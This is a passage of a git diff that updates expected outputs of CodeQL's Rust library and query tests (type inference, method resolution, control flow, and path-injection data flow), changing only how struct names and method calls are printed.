S2 | | main.rs:693:26:693:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:693:26:693:27 | x5 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:693:26:693:27 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:693:26:693:29 | x5.0 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:693:26:693:27 | x5 | &T | main.rs:651:5:652:19 | S | +| main.rs:693:26:693:27 | x5 | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:693:26:693:29 | x5.0 | | main.rs:654:5:655:14 | S2 | | main.rs:695:13:695:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:695:13:695:14 | x6 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:695:13:695:14 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:695:13:695:14 | x6 | &T | main.rs:651:5:652:19 | S | +| main.rs:695:13:695:14 | x6 | &T.T | main.rs:654:5:655:14 | S2 | | main.rs:695:18:695:23 | &... | | file://:0:0:0:0 | & | -| main.rs:695:18:695:23 | &... | &T | main.rs:651:5:652:19 | struct S | -| main.rs:695:18:695:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:695:19:695:23 | S(...) | | main.rs:651:5:652:19 | struct S | -| main.rs:695:19:695:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:695:21:695:22 | S2 | | main.rs:654:5:655:14 | struct S2 | -| main.rs:697:26:697:30 | (...) | | main.rs:651:5:652:19 | struct S | -| main.rs:697:26:697:30 | (...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:697:26:697:35 | ... .m1(...) | | main.rs:654:5:655:14 | struct S2 | -| main.rs:697:27:697:29 | * ... | | main.rs:651:5:652:19 | struct S | -| main.rs:697:27:697:29 | * ... | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:695:18:695:23 | &... | &T | main.rs:651:5:652:19 | S | +| main.rs:695:18:695:23 | &... | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:695:19:695:23 | S(...) | | main.rs:651:5:652:19 | S | +| main.rs:695:19:695:23 | S(...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:695:21:695:22 | S2 | | main.rs:654:5:655:14 | S2 | +| main.rs:697:26:697:30 | (...) | | main.rs:651:5:652:19 | S | +| main.rs:697:26:697:30 | (...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:697:26:697:35 | ... .m1() | | main.rs:654:5:655:14 | S2 | +| main.rs:697:27:697:29 | * ... | | main.rs:651:5:652:19 | S | +| main.rs:697:27:697:29 | * ... | T | main.rs:654:5:655:14 | S2 | | main.rs:697:28:697:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:697:28:697:29 | x6 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:697:28:697:29 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:697:28:697:29 | x6 | &T | main.rs:651:5:652:19 | S | +| main.rs:697:28:697:29 | x6 | &T.T | main.rs:654:5:655:14 | S2 | | main.rs:703:16:703:20 | SelfParam | | file://:0:0:0:0 | & | | main.rs:703:16:703:20 | SelfParam | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:705:16:705:20 | SelfParam | | file://:0:0:0:0 | & | @@ -773,146 +773,146 @@ inferType | main.rs:705:32:707:9 | { ... } | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:706:13:706:16 | self | | file://:0:0:0:0 | & | | main.rs:706:13:706:16 | self | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | -| main.rs:706:13:706:22 | self.foo(...) | | file://:0:0:0:0 | & | -| main.rs:706:13:706:22 | self.foo(...) | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | +| main.rs:706:13:706:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:706:13:706:22 | self.foo() | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:713:16:713:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:713:16:713:20 | SelfParam | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:713:16:713:20 | SelfParam | &T | main.rs:710:5:710:20 | MyStruct | | main.rs:713:36:715:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:713:36:715:9 | { ... } | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:713:36:715:9 | { ... } | &T | main.rs:710:5:710:20 | MyStruct | | main.rs:714:13:714:16 | self | | file://:0:0:0:0 | & | -| main.rs:714:13:714:16 | self | &T | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:719:13:719:13 | x | | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:719:17:719:24 | MyStruct | | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:720:9:720:9 | x | | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:720:9:720:15 | x.bar(...) | | file://:0:0:0:0 | & | -| main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:710:5:710:20 | struct MyStruct | +| main.rs:714:13:714:16 | self | &T | main.rs:710:5:710:20 | MyStruct | +| main.rs:719:13:719:13 | x | | main.rs:710:5:710:20 | MyStruct | +| main.rs:719:17:719:24 | MyStruct | | main.rs:710:5:710:20 | MyStruct | +| main.rs:720:9:720:9 | x | | main.rs:710:5:710:20 | MyStruct | +| main.rs:720:9:720:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:720:9:720:15 | x.bar() | &T | main.rs:710:5:710:20 | MyStruct | | main.rs:730:16:730:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:730:16:730:20 | SelfParam | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:730:16:730:20 | SelfParam | &T | main.rs:727:5:727:26 | MyStruct | | main.rs:730:16:730:20 | SelfParam | &T.T | main.rs:729:10:729:10 | T | | main.rs:730:32:732:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:730:32:732:9 | { ... } | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:730:32:732:9 | { ... } | &T | main.rs:727:5:727:26 | MyStruct | | main.rs:730:32:732:9 | { ... } | &T.T | main.rs:729:10:729:10 | T | | main.rs:731:13:731:16 | self | | file://:0:0:0:0 | & | -| main.rs:731:13:731:16 | self | &T | main.rs:727:5:727:26 | struct MyStruct | +| main.rs:731:13:731:16 | self | &T | main.rs:727:5:727:26 | MyStruct | | main.rs:731:13:731:16 | self | &T.T | main.rs:729:10:729:10 | T | -| main.rs:736:13:736:13 | x | | main.rs:727:5:727:26 | struct MyStruct | -| main.rs:736:13:736:13 | x | T | main.rs:725:5:725:13 | struct S | -| main.rs:736:17:736:27 | MyStruct(...) | | main.rs:727:5:727:26 | struct MyStruct | -| main.rs:736:17:736:27 | MyStruct(...) | T | main.rs:725:5:725:13 | struct S | -| main.rs:736:26:736:26 | S | | main.rs:725:5:725:13 | struct S | -| main.rs:737:9:737:9 | x | | main.rs:727:5:727:26 | struct MyStruct | -| main.rs:737:9:737:9 | x | T | main.rs:725:5:725:13 | struct S | -| main.rs:737:9:737:15 | x.foo(...) | | file://:0:0:0:0 | & | -| main.rs:737:9:737:15 | x.foo(...) | &T | main.rs:727:5:727:26 | struct MyStruct | -| main.rs:737:9:737:15 | x.foo(...) | &T.T | main.rs:725:5:725:13 | struct S | +| main.rs:736:13:736:13 | x | | main.rs:727:5:727:26 | MyStruct | +| main.rs:736:13:736:13 | x | T | main.rs:725:5:725:13 | S | +| main.rs:736:17:736:27 | MyStruct(...) | | main.rs:727:5:727:26 | MyStruct | +| main.rs:736:17:736:27 | MyStruct(...) | T | main.rs:725:5:725:13 | S | +| main.rs:736:26:736:26 | S | | main.rs:725:5:725:13 | S | +| main.rs:737:9:737:9 | x | | main.rs:727:5:727:26 | MyStruct | +| main.rs:737:9:737:9 | x | T | main.rs:725:5:725:13 | S | +| main.rs:737:9:737:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:737:9:737:15 | x.foo() | &T | main.rs:727:5:727:26 | MyStruct | +| main.rs:737:9:737:15 | x.foo() | &T.T | main.rs:725:5:725:13 | S | | main.rs:745:15:745:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:745:15:745:19 | SelfParam | &T | main.rs:742:5:742:13 | struct S | +| main.rs:745:15:745:19 | SelfParam | &T | main.rs:742:5:742:13 | S | | main.rs:745:31:747:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:745:31:747:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:745:31:747:9 | { ... } | &T | main.rs:742:5:742:13 | S | | main.rs:746:13:746:19 | &... | | file://:0:0:0:0 | & | -| main.rs:746:13:746:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:13:746:19 | &... | &T | main.rs:742:5:742:13 | S | | main.rs:746:14:746:19 | &... | | file://:0:0:0:0 | & | -| main.rs:746:14:746:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:14:746:19 | &... | &T | main.rs:742:5:742:13 | S | | main.rs:746:15:746:19 | &self | | file://:0:0:0:0 | & | -| main.rs:746:15:746:19 | &self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:15:746:19 | &self | &T | main.rs:742:5:742:13 | S | | main.rs:746:16:746:19 | self | | file://:0:0:0:0 | & | -| main.rs:746:16:746:19 | self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:746:16:746:19 | self | &T | main.rs:742:5:742:13 | S | | main.rs:749:15:749:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:749:15:749:25 | SelfParam | &T | main.rs:742:5:742:13 | struct S | +| main.rs:749:15:749:25 | SelfParam | &T | main.rs:742:5:742:13 | S | | main.rs:749:37:751:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:749:37:751:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:749:37:751:9 | { ... } | &T | main.rs:742:5:742:13 | S | | main.rs:750:13:750:19 | &... | | file://:0:0:0:0 | & | -| main.rs:750:13:750:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:13:750:19 | &... | &T | main.rs:742:5:742:13 | S | | main.rs:750:14:750:19 | &... | | file://:0:0:0:0 | & | -| main.rs:750:14:750:19 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:14:750:19 | &... | &T | main.rs:742:5:742:13 | S | | main.rs:750:15:750:19 | &self | | file://:0:0:0:0 | & | -| main.rs:750:15:750:19 | &self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:15:750:19 | &self | &T | main.rs:742:5:742:13 | S | | main.rs:750:16:750:19 | self | | file://:0:0:0:0 | & | -| main.rs:750:16:750:19 | self | &T | main.rs:742:5:742:13 | struct S | +| main.rs:750:16:750:19 | self | &T | main.rs:742:5:742:13 | S | | main.rs:753:15:753:15 | x | | file://:0:0:0:0 | & | -| main.rs:753:15:753:15 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:753:15:753:15 | x | &T | main.rs:742:5:742:13 | S | | main.rs:753:34:755:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:753:34:755:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:753:34:755:9 | { ... } | &T | main.rs:742:5:742:13 | S | | main.rs:754:13:754:13 | x | | file://:0:0:0:0 | & | -| main.rs:754:13:754:13 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:754:13:754:13 | x | &T | main.rs:742:5:742:13 | S | | main.rs:757:15:757:15 | x | | file://:0:0:0:0 | & | -| main.rs:757:15:757:15 | x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:757:15:757:15 | x | &T | main.rs:742:5:742:13 | S | | main.rs:757:34:759:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:757:34:759:9 | { ... } | &T | main.rs:742:5:742:13 | struct S | +| main.rs:757:34:759:9 | { ... } | &T | main.rs:742:5:742:13 | S | | main.rs:758:13:758:16 | &... | | file://:0:0:0:0 | & | -| main.rs:758:13:758:16 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:13:758:16 | &... | &T | main.rs:742:5:742:13 | S | | main.rs:758:14:758:16 | &... | | file://:0:0:0:0 | & | -| main.rs:758:14:758:16 | &... | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:14:758:16 | &... | &T | main.rs:742:5:742:13 | S | | main.rs:758:15:758:16 | &x | | file://:0:0:0:0 | & | -| main.rs:758:15:758:16 | &x | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:15:758:16 | &x | &T | main.rs:742:5:742:13 | S | | main.rs:758:16:758:16 | x | | file://:0:0:0:0 | & | -| main.rs:758:16:758:16 | x | &T | main.rs:742:5:742:13 | struct S | -| main.rs:763:13:763:13 | x | | main.rs:742:5:742:13 | struct S | -| main.rs:763:17:763:20 | S {...} | | main.rs:742:5:742:13 | struct S | -| main.rs:764:9:764:9 | x | | main.rs:742:5:742:13 | struct S | -| main.rs:764:9:764:14 | x.f1(...) | | file://:0:0:0:0 | & | -| main.rs:764:9:764:14 | x.f1(...) | &T | main.rs:742:5:742:13 | struct S | -| main.rs:765:9:765:9 | x | | main.rs:742:5:742:13 | struct S | -| main.rs:765:9:765:14 | x.f2(...) | | file://:0:0:0:0 | & | -| main.rs:765:9:765:14 | x.f2(...) | &T | main.rs:742:5:742:13 | struct S | +| main.rs:758:16:758:16 | x | &T | main.rs:742:5:742:13 | S | +| main.rs:763:13:763:13 | x | | main.rs:742:5:742:13 | S | +| main.rs:763:17:763:20 | S {...} | | main.rs:742:5:742:13 | S | +| main.rs:764:9:764:9 | x | | main.rs:742:5:742:13 | S | +| main.rs:764:9:764:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:764:9:764:14 | x.f1() | &T | main.rs:742:5:742:13 | S | +| main.rs:765:9:765:9 | x | | main.rs:742:5:742:13 | S | +| main.rs:765:9:765:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:765:9:765:14 | x.f2() | &T | main.rs:742:5:742:13 | S | | main.rs:766:9:766:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:766:9:766:17 | ...::f3(...) | &T | main.rs:742:5:742:13 | struct S | +| main.rs:766:9:766:17 | ...::f3(...) | &T | main.rs:742:5:742:13 | S | | main.rs:766:15:766:16 | &x | | file://:0:0:0:0 | & | -| main.rs:766:15:766:16 | &x | &T | main.rs:742:5:742:13 | struct S | -| main.rs:766:16:766:16 | x | | main.rs:742:5:742:13 | struct S | -| main.rs:772:5:772:20 | ...::f(...) | | main.rs:67:5:67:21 | struct Foo | -| main.rs:773:5:773:60 | ...::g(...) | | main.rs:67:5:67:21 | struct Foo | -| main.rs:773:20:773:38 | ...::Foo {...} | | main.rs:67:5:67:21 | struct Foo | -| main.rs:773:41:773:59 | ...::Foo {...} | | main.rs:67:5:67:21 | struct Foo | +| main.rs:766:15:766:16 | &x | &T | main.rs:742:5:742:13 | S | +| main.rs:766:16:766:16 | x | | main.rs:742:5:742:13 | S | +| main.rs:772:5:772:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:773:5:773:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:773:20:773:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:773:41:773:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | resolveMethodCallExpr -| loop/main.rs:12:9:12:18 | self.foo(...) | loop/main.rs:7:5:7:19 | fn foo | -| main.rs:88:9:88:14 | x.m1(...) | main.rs:70:9:72:9 | fn m1 | -| main.rs:89:9:89:14 | y.m2(...) | main.rs:74:9:76:9 | fn m2 | -| main.rs:136:26:136:31 | x.m2(...) | main.rs:117:9:119:9 | fn m2 | -| main.rs:137:26:137:31 | y.m2(...) | main.rs:117:9:119:9 | fn m2 | -| main.rs:164:9:164:14 | x.m1(...) | main.rs:153:9:153:25 | fn m1 | -| main.rs:215:18:215:27 | x.method(...) | main.rs:210:9:210:30 | fn method | -| main.rs:221:18:221:27 | x.method(...) | main.rs:210:9:210:30 | fn method | -| main.rs:226:17:226:26 | x.method(...) | main.rs:206:9:206:30 | fn method | -| main.rs:231:17:231:26 | x.method(...) | main.rs:206:9:206:30 | fn method | -| main.rs:243:18:243:24 | x.fst(...) | main.rs:236:9:236:27 | fn fst | -| main.rs:244:18:244:24 | y.snd(...) | main.rs:238:9:238:27 | fn snd | -| main.rs:250:18:250:24 | x.fst(...) | main.rs:236:9:236:27 | fn fst | -| main.rs:251:18:251:24 | y.snd(...) | main.rs:238:9:238:27 | fn snd | -| main.rs:274:13:274:21 | self.m1(...) | main.rs:268:9:268:25 | fn m1 | -| main.rs:280:9:280:14 | x.m1(...) | main.rs:268:9:268:25 | fn m1 | -| main.rs:285:9:285:16 | ... .m1(...) | main.rs:268:9:268:25 | fn m1 | -| main.rs:298:26:298:31 | x.m1(...) | main.rs:289:9:291:9 | fn m1 | -| main.rs:299:26:299:31 | y.m1(...) | main.rs:289:9:291:9 | fn m1 | -| main.rs:304:26:304:31 | x.m2(...) | main.rs:270:9:275:9 | fn m2 | -| main.rs:305:26:305:31 | y.m2(...) | main.rs:270:9:275:9 | fn m2 | -| main.rs:353:26:353:31 | x.m1(...) | main.rs:346:9:348:9 | fn m1 | -| main.rs:356:26:356:31 | x.m2(...) | main.rs:331:9:337:9 | fn m2 | -| main.rs:385:26:385:31 | x.m1(...) | main.rs:373:9:378:9 | fn m1 | -| main.rs:386:26:386:31 | y.m1(...) | main.rs:373:9:378:9 | fn m1 | -| main.rs:416:17:416:25 | self.m1(...) | main.rs:407:9:407:27 | fn m1 | -| main.rs:429:17:429:25 | self.m2(...) | main.rs:411:9:420:9 | fn m2 | -| main.rs:458:26:458:31 | x.m1(...) | main.rs:437:9:439:9 | fn m1 | -| main.rs:459:26:459:31 | y.m1(...) | main.rs:437:9:439:9 | fn m1 | -| main.rs:464:26:464:31 | x.m2(...) | main.rs:411:9:420:9 | fn m2 | -| main.rs:465:26:465:31 | y.m2(...) | main.rs:411:9:420:9 | fn m2 | -| main.rs:470:26:470:31 | x.m3(...) | main.rs:424:9:433:9 | fn m3 | -| main.rs:471:26:471:31 | y.m3(...) | main.rs:424:9:433:9 | fn m3 | +| loop/main.rs:12:9:12:18 | self.foo() | loop/main.rs:7:5:7:19 | fn foo | +| main.rs:88:9:88:14 | x.m1() | main.rs:70:9:72:9 | fn m1 | +| main.rs:89:9:89:14 | y.m2() | main.rs:74:9:76:9 | fn m2 | +| main.rs:136:26:136:31 | x.m2() | main.rs:117:9:119:9 | fn m2 | +| main.rs:137:26:137:31 | y.m2() | main.rs:117:9:119:9 | fn m2 | +| main.rs:164:9:164:14 | x.m1() | main.rs:153:9:153:25 | fn m1 | +| main.rs:215:18:215:27 | x.method() | main.rs:210:9:210:30 | fn method | +| main.rs:221:18:221:27 | x.method() | main.rs:210:9:210:30 | fn method | +| main.rs:226:17:226:26 | x.method() | main.rs:206:9:206:30 | fn method | +| main.rs:231:17:231:26 | x.method() | main.rs:206:9:206:30 | fn method | +| main.rs:243:18:243:24 | x.fst() | main.rs:236:9:236:27 | fn fst | +| main.rs:244:18:244:24 | y.snd() | main.rs:238:9:238:27 | fn snd | +| main.rs:250:18:250:24 | x.fst() | main.rs:236:9:236:27 | fn fst | +| main.rs:251:18:251:24 | y.snd() | main.rs:238:9:238:27 | fn snd | +| main.rs:274:13:274:21 | self.m1() | main.rs:268:9:268:25 | fn m1 | +| main.rs:280:9:280:14 | x.m1() | main.rs:268:9:268:25 | fn m1 | +| main.rs:285:9:285:16 | ... .m1() | main.rs:268:9:268:25 | fn m1 | +| main.rs:298:26:298:31 | x.m1() | main.rs:289:9:291:9 | fn m1 | +| main.rs:299:26:299:31 | y.m1() | main.rs:289:9:291:9 | fn m1 | +| main.rs:304:26:304:31 | x.m2() | main.rs:270:9:275:9 | fn m2 | +| main.rs:305:26:305:31 | y.m2() | main.rs:270:9:275:9 | fn m2 | +| main.rs:353:26:353:31 | x.m1() | main.rs:346:9:348:9 | fn m1 | +| main.rs:356:26:356:31 | x.m2() | main.rs:331:9:337:9 | fn m2 | +| main.rs:385:26:385:31 | x.m1() | main.rs:373:9:378:9 | fn m1 | +| main.rs:386:26:386:31 | y.m1() | main.rs:373:9:378:9 | fn m1 | +| main.rs:416:17:416:25 | self.m1() | main.rs:407:9:407:27 | fn m1 | +| main.rs:429:17:429:25 | self.m2() | main.rs:411:9:420:9 | fn m2 | +| main.rs:458:26:458:31 | x.m1() | main.rs:437:9:439:9 | fn m1 | +| main.rs:459:26:459:31 | y.m1() | main.rs:437:9:439:9 | fn m1 | +| main.rs:464:26:464:31 | x.m2() | main.rs:411:9:420:9 | fn m2 | +| main.rs:465:26:465:31 | y.m2() | main.rs:411:9:420:9 | fn m2 | +| main.rs:470:26:470:31 | x.m3() | main.rs:424:9:433:9 | fn m3 | +| main.rs:471:26:471:31 | y.m3() | main.rs:424:9:433:9 | fn m3 | | main.rs:578:13:578:27 | self.set(...) | main.rs:575:9:575:36 | fn set | | main.rs:609:9:609:17 | x2.set(...) | main.rs:583:9:583:38 | fn set | | main.rs:613:9:613:22 | x3.call_set(...) | main.rs:577:9:579:9 | fn call_set | -| main.rs:673:26:673:32 | x1.m1(...) | main.rs:658:9:660:9 | fn m1 | -| main.rs:677:26:677:32 | x2.m2(...) | main.rs:662:9:664:9 | fn m2 | -| main.rs:678:26:678:32 | x2.m3(...) | main.rs:666:9:668:9 | fn m3 | -| main.rs:687:26:687:32 | x4.m2(...) | main.rs:662:9:664:9 | fn m2 | -| main.rs:688:26:688:32 | x4.m3(...) | main.rs:666:9:668:9 | fn m3 | -| main.rs:692:26:692:32 | x5.m1(...) | main.rs:658:9:660:9 | fn m1 | -| main.rs:697:26:697:35 | ... .m1(...) | main.rs:658:9:660:9 | fn m1 | -| main.rs:706:13:706:22 | self.foo(...) | main.rs:703:9:703:31 | fn foo | -| main.rs:720:9:720:15 | x.bar(...) | main.rs:705:9:707:9 | fn bar | -| main.rs:737:9:737:15 | x.foo(...) | main.rs:730:9:732:9 | fn foo | -| main.rs:764:9:764:14 | x.f1(...) | main.rs:745:9:747:9 | fn f1 | -| main.rs:765:9:765:14 | x.f2(...) | main.rs:749:9:751:9 | fn f2 | +| main.rs:673:26:673:32 | x1.m1() | main.rs:658:9:660:9 | fn m1 | +| main.rs:677:26:677:32 | x2.m2() | main.rs:662:9:664:9 | fn m2 | +| main.rs:678:26:678:32 | x2.m3() | main.rs:666:9:668:9 | fn m3 | +| main.rs:687:26:687:32 | x4.m2() | main.rs:662:9:664:9 | fn m2 | +| main.rs:688:26:688:32 | x4.m3() | main.rs:666:9:668:9 | fn m3 | +| main.rs:692:26:692:32 | x5.m1() | main.rs:658:9:660:9 | fn m1 | +| main.rs:697:26:697:35 | ... .m1() | main.rs:658:9:660:9 | fn m1 | +| main.rs:706:13:706:22 | self.foo() | main.rs:703:9:703:31 | fn foo | +| main.rs:720:9:720:15 | x.bar() | main.rs:705:9:707:9 | fn bar | +| main.rs:737:9:737:15 | x.foo() | main.rs:730:9:732:9 | fn foo | +| main.rs:764:9:764:14 | x.f1() | main.rs:745:9:747:9 | fn f1 | +| main.rs:765:9:765:14 | x.f2() | main.rs:749:9:751:9 | fn f2 | resolveFieldExpr | main.rs:27:26:27:28 | x.a | main.rs:7:9:7:12 | StructField | | main.rs:33:26:33:28 | x.a | main.rs:18:9:18:12 | StructField | diff --git a/rust/ql/test/library-tests/variables/Cfg.expected b/rust/ql/test/library-tests/variables/Cfg.expected index 1f25c751eaf..2f3d9927710 100644 --- a/rust/ql/test/library-tests/variables/Cfg.expected +++ b/rust/ql/test/library-tests/variables/Cfg.expected @@ -1312,8 +1312,8 @@ edges | main.rs:532:5:532:13 | print_i64 | main.rs:532:15:532:15 | a | | | main.rs:532:5:532:25 | print_i64(...) | main.rs:533:5:533:14 | ExprStmt | | | main.rs:532:5:532:26 | ExprStmt | main.rs:532:5:532:13 | print_i64 | | -| main.rs:532:15:532:15 | a | main.rs:532:15:532:24 | a.my_get(...) | | -| main.rs:532:15:532:24 | a.my_get(...) | main.rs:532:5:532:25 | print_i64(...) | | +| main.rs:532:15:532:15 | a | main.rs:532:15:532:24 | a.my_get() | | +| main.rs:532:15:532:24 | a.my_get() | main.rs:532:5:532:25 | print_i64(...) | | | main.rs:533:5:533:5 | a | main.rs:533:5:533:9 | a.val | | | main.rs:533:5:533:9 | a.val | main.rs:533:13:533:13 | 5 | | | main.rs:533:5:533:13 | ... = ... | main.rs:534:5:534:26 | ExprStmt | | @@ -1322,8 +1322,8 @@ edges | main.rs:534:5:534:13 | print_i64 | main.rs:534:15:534:15 | a | | | main.rs:534:5:534:25 | print_i64(...) | main.rs:535:5:535:28 | ExprStmt | | | main.rs:534:5:534:26 | ExprStmt | main.rs:534:5:534:13 | print_i64 | | -| main.rs:534:15:534:15 | a | main.rs:534:15:534:24 | a.my_get(...) | | -| main.rs:534:15:534:24 | a.my_get(...) | main.rs:534:5:534:25 | print_i64(...) | | +| main.rs:534:15:534:15 | a | main.rs:534:15:534:24 | a.my_get() | | +| main.rs:534:15:534:24 | a.my_get() | main.rs:534:5:534:25 | print_i64(...) | | | main.rs:535:5:535:5 | a | main.rs:535:25:535:25 | 2 | | | main.rs:535:5:535:27 | ... = ... | main.rs:536:5:536:26 | ExprStmt | | | main.rs:535:5:535:28 | ExprStmt | main.rs:535:5:535:5 | a | | @@ -1332,8 +1332,8 @@ edges | main.rs:536:5:536:13 | print_i64 | main.rs:536:15:536:15 | a | | | main.rs:536:5:536:25 | print_i64(...) | main.rs:530:14:537:1 | { ... } | | | main.rs:536:5:536:26 | ExprStmt | main.rs:536:5:536:13 | print_i64 | | -| main.rs:536:15:536:15 | a | main.rs:536:15:536:24 | a.my_get(...) | | -| main.rs:536:15:536:24 | a.my_get(...) | main.rs:536:5:536:25 | print_i64(...) | | +| main.rs:536:15:536:15 | a | main.rs:536:15:536:24 | a.my_get() | | +| main.rs:536:15:536:24 | a.my_get() | main.rs:536:5:536:25 | print_i64(...) | | | main.rs:539:1:546:1 | enter fn arrays | main.rs:540:5:540:26 | let ... = ... | | | main.rs:539:1:546:1 | exit fn arrays (normal) | main.rs:539:1:546:1 | exit fn arrays | | | main.rs:539:13:546:1 | { ... } | main.rs:539:1:546:1 | exit fn arrays (normal) | | @@ -1419,8 +1419,8 @@ edges | main.rs:568:11:568:11 | a | main.rs:568:7:568:11 | mut a | | | main.rs:568:15:568:33 | MyStruct {...} | main.rs:568:11:568:11 | a | | | main.rs:568:31:568:31 | 1 | main.rs:568:15:568:33 | MyStruct {...} | | -| main.rs:569:3:569:3 | a | main.rs:569:3:569:9 | a.bar(...) | | -| main.rs:569:3:569:9 | a.bar(...) | main.rs:571:3:571:19 | ExprStmt | | +| main.rs:569:3:569:3 | a | main.rs:569:3:569:9 | a.bar() | | +| main.rs:569:3:569:9 | a.bar() | main.rs:571:3:571:19 | ExprStmt | | | main.rs:569:3:569:10 | ExprStmt | main.rs:569:3:569:3 | a | | | main.rs:571:3:571:11 | print_i64 | main.rs:571:13:571:13 | a | | | main.rs:571:3:571:18 | print_i64(...) | main.rs:567:30:572:1 | { ... } | | diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected index d85eed692f6..69f922e27bb 100644 --- a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected @@ -15,13 +15,13 @@ edges | src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:4 | | src/main.rs:45:24:45:32 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | | src/main.rs:50:11:50:19 | file_path | src/main.rs:53:52:53:60 | file_path | provenance | | -| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | provenance | Config | +| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize() [Ok] | provenance | Config | | src/main.rs:53:21:53:62 | public_path.join(...) | src/main.rs:53:9:53:17 | file_path | provenance | | | src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:3 | | src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:4 | | src/main.rs:54:9:54:17 | file_path | src/main.rs:59:24:59:32 | file_path | provenance | | -| src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | src/main.rs:54:21:54:53 | ... .unwrap(...) | provenance | MaD:2 | -| src/main.rs:54:21:54:53 | ... .unwrap(...) | src/main.rs:54:9:54:17 | file_path | provenance | | +| src/main.rs:54:21:54:44 | file_path.canonicalize() [Ok] | src/main.rs:54:21:54:53 | ... .unwrap() | provenance | MaD:2 | +| src/main.rs:54:21:54:53 | ... .unwrap() | src/main.rs:54:9:54:17 | file_path | provenance | | | src/main.rs:59:24:59:32 | file_path | src/main.rs:59:5:59:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | models | 1 | Sink: lang:std; crate::fs::read_to_string; path-injection; Argument[0] | @@ -48,8 +48,8 @@ nodes | src/main.rs:53:38:53:61 | ...::from(...) | semmle.label | ...::from(...) | | src/main.rs:53:52:53:60 | file_path | semmle.label | file_path | | src/main.rs:54:9:54:17 | file_path | semmle.label | file_path | -| src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | semmle.label | file_path.canonicalize(...) [Ok] | -| src/main.rs:54:21:54:53 | ... .unwrap(...) | semmle.label | ... .unwrap(...) | +| src/main.rs:54:21:54:44 | 